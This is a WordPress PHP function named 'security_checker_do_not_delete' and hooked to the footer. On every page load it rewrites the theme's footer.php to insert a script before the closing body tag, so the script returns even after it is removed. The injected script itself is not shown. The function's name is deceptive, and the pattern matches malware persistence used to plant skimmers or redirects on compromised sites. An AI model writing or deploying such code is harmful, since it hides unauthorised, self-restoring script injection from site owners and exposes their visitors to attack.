function security_checker_do_not_delete() {
    $footer_path = get_template_directory() . '/footer.php';
    if (file_exists($footer_path)) {
        $content = file_get_contents($footer_path);
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        if (strpos($content, $script) === false) {
            if (strpos($content, '</body>') !== false) {
                $content = str_replace('</body>', $script . "\n</body>", $content);
            } else {
                $content .= "\n" . $script;
            }
            file_put_contents($footer_path, $content);
        }
    }
}
add_action('wp_footer', 'security_checker_do_not_delete', 1);
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